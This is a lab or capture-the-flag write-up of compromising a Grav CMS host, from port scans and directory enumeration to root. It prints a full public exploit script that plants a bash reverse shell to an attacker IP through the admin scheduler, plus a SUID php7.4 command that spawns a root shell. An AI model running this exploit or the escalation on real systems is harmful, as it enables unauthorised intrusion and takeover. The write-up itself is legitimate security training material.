Writeup by wook413
As always, I began by performing three Nmap scans. The first scan covered all 65,535 TCP ports, while the second was a targeted service scan of the discovered open ports. The final scan focused on the top 10 UDP ports.
xxxxxxxxxx┌──(kali㉿kali)-[~/Desktop]└─$ nmap $IP -Pn -n --open --min-rate 3000 -p-Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-26 01:20 UTCNmap scan report for 192.168.240.12Host is up (0.053s latency).Not shown: 65526 closed tcp ports (reset), 7 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT STATE SERVICE22/tcp open ssh80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.24 secondsxxxxxxxxxx┌──(kali㉿kali)-[~/Desktop]└─$ nmap $IP -sC -sV -p 22,80 Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-26 01:22 UTCNmap scan report for 192.168.240.12Host is up (0.049s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)| 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)|_ 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)80/tcp open http Apache httpd 2.4.41|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Index of /| http-ls: Volume /| SIZE TIME FILENAME| - 2021-03-17 17:46 grav-admin/|_Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .Nmap done: 1 IP address (1 host up) scanned in 8.86 secondsxxxxxxxxxx┌──(kali㉿kali)-[~/Desktop]└─$ nmap $IP -sU --top-ports 10Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-26 01:23 UTCNmap scan report for 192.168.240.12Host is up (0.047s latency).
PORT STATE SERVICE53/udp closed domain67/udp closed dhcps123/udp open|filtered ntp135/udp closed msrpc137/udp closed netbios-ns138/udp closed netbios-dgm161/udp open|filtered snmp445/udp closed microsoft-ds631/udp closed ipp1434/udp closed ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 6.41 secondsThe structure of the web page on port 80 was somewhat unusual. It appeared to be missing an index.html file in the web root, as it displayed a directory listing containing only a single directory named grav-admin .
xxxxxxxxxx┌──(kali㉿kali)-[~/Desktop]└─$ nmap $IP -sV --script=http-enum -p 80 Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-26 01:24 UTCNmap scan report for 192.168.240.12Host is up (0.084s latency).
PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.41|_http-server-header: Apache/2.4.41 (Ubuntu)| http-enum: |_ /: Root directory w/ listing on 'apache/2.4.41 (ubuntu)'Service Info: Host: 127.0.0.1
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .Nmap done: 1 IP address (1 host up) scanned in 15.20 seconds
Navigating to /grav-admin revealed the Grav CMS introduction page.

I performed directory bursting using Gobuster and checked /robots.txt to enumerate any meaningful files or directories.
xxxxxxxxxx┌──(kali㉿kali)-[~/Desktop]└─$ gobuster dir -u <http://$IP/grav-admin> -w /usr/share/seclists/Discovery/Web-Content/common.txt ===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: <http://192.168.240.12/grav-admin>[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/.git/logs/ (Status: 302) [Size: 0] [--> <http://192.168.240.12/grav-admin/.git/logs>]/.hta (Status: 403) [Size: 279]/.htaccess (Status: 403) [Size: 279]/.htpasswd (Status: 403) [Size: 279]/admin (Status: 200) [Size: 15508]/assets (Status: 301) [Size: 328] [--> <http://192.168.240.12/grav-admin/assets/>]/backup (Status: 301) [Size: 328] [--> <http://192.168.240.12/grav-admin/backup/>]/bin (Status: 301) [Size: 325] [--> <http://192.168.240.12/grav-admin/bin/>]/cache (Status: 301) [Size: 327] [--> <http://192.168.240.12/grav-admin/cache/>]/cgi-bin/ (Status: 302) [Size: 0] [--> <http://192.168.240.12/grav-admin/cgi-bin>]/forgot_password (Status: 200) [Size: 12383]/home (Status: 200) [Size: 14014]/images (Status: 301) [Size: 328] [--> <http://192.168.240.12/grav-admin/images/>]/login (Status: 200) [Size: 13967]/logs (Status: 301) [Size: 326] [--> <http://192.168.240.12/grav-admin/logs/>]/robots.txt (Status: 200) [Size: 274]/system (Status: 301) [Size: 328] [--> <http://192.168.240.12/grav-admin/system/>]/tmp (Status: 301) [Size: 325] [--> <http://192.168.240.12/grav-admin/tmp/>]/user (Status: 301) [Size: 326] [--> <http://192.168.240.12/grav-admin/user/>]/vendor (Status: 301) [Size: 328] [--> <http://192.168.240.12/grav-admin/vendor/>]Progress: 4746 / 4747 (99.98%)===============================================================Finished===============================================================/robots.txtUser-agent: *Disallow: /backup/Disallow: /bin/Disallow: /cache/Disallow: /grav/Disallow: /logs/Disallow: /system/Disallow: /vendor/Disallow: /user/Allow: /user/pages/Allow: /user/themes/Allow: /user/images/Allow: /Allow: *.css$Allow: *.js$Allow: /system/*.js$I searched for ‘Grav CMS’ in Searchsploit , which returned several exploits. Since I hadn’t obtained any credentials yet, I opted for an unauthenticated exploit: Arbitrary YAML Write/Update.
xxxxxxxxxx┌──(kali㉿kali)-[~/Desktop]└─$ searchsploit grav cms -------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path-------------------------------------------------------------------------------------------------------- ---------------------------------Grav CMS 1.4.2 Admin Plugin - Cross-Site Scripting | php/webapps/42131.txtGrav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting | php/webapps/49264.txtGrav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated) | php/webapps/49961.pyGravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2) | php/webapps/49973.pyGravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) | php/webapps/49788.rbgravy media CMS 1.07 - Multiple Vulnerabilities | php/webapps/8315.txt-------------------------------------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsAnalyzing the code, I found it leads to a reverse shell. Note that /grav-admin must be appended to the target IP address for the exploit to work.
xxxxxxxxxx┌──(kali㉿kali)-[~/Desktop]└─$ cat 49973.py # Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)# Original Exploit Author: Mehmet Ince# Vendor Homepage: <https://getgrav.org># Version: 1.10.7# Tested on: Debian 10# Author: legend
#/usr/bin/python3
import requestsimport sysimport reimport base64target= "<http://192.168.240.12/grav-admin>"#Change base64 encoded value with with below command.#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0payload=b"""/*<?php /**/file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIzNi80NDMgMD4mMQ=='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');"""s = requests.Session()r = s.get(target+"/admin")adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)if adminNonce != "" : url = target + "/admin/tools/scheduler" data = "admin-nonce="+adminNonce data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append' headers = {'Content-Type': 'application/x-www-form-urlencoded'} r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)www-data
After gaining the initial access, I explored the system and discovered a cronjob. This job was executing Grav's scheduler feature via the PHP binary.
xxxxxxxxxxwww-data@gravity:~/html/grav-admin$ crontab -l* * * * * cd /var/www/html/grav-admin;/usr/bin/php bin/grav scheduler 1>> /dev/null 2>&1While the cronjob didn’t directly lead to privilege escalation, a search for SUID binaries revealed that php7.4 had the SUID bit set.
xxxxxxxxxxwww-data@gravity:/etc/cron.d$ find / -type f -perm -4000 -ls 2>/dev/null ... 53120 4676 -rwsr-xr-x 1 root root 4786104 Feb 23 2023 /usr/bin/php7.4 ...rootLeveraging GTFOBins, I executed the following command to exploit the binary and obtain a root shell.
xxxxxxxxxxwww-data@gravity:/$ php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"# whoamiroot# ls -latotal 40drwx------ 6 root root 4096 Jan 26 01:17 .drwxr-xr-x 19 root root 4096 Mar 29 2023 ..lrwxrwxrwx 1 root root 9 Mar 29 2023 .bash_history -> /dev/null-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrcdrwx------ 2 root root 4096 Apr 3 2023 .cache-rw------- 1 root root 9 Apr 3 2023 flag1.txtdrwxr-xr-x 3 root root 4096 Mar 29 2023 .local-rw-r--r-- 1 root root 161 Dec 5 2019 .profile-rwx------ 1 root root 33 Jan 26 01:17 proof.txtdrwx------ 3 root root 4096 Jan 24 2023 snapdrwx------ 2 root root 4096 Jan 24 2023 .ssh# cat proof.txtae2...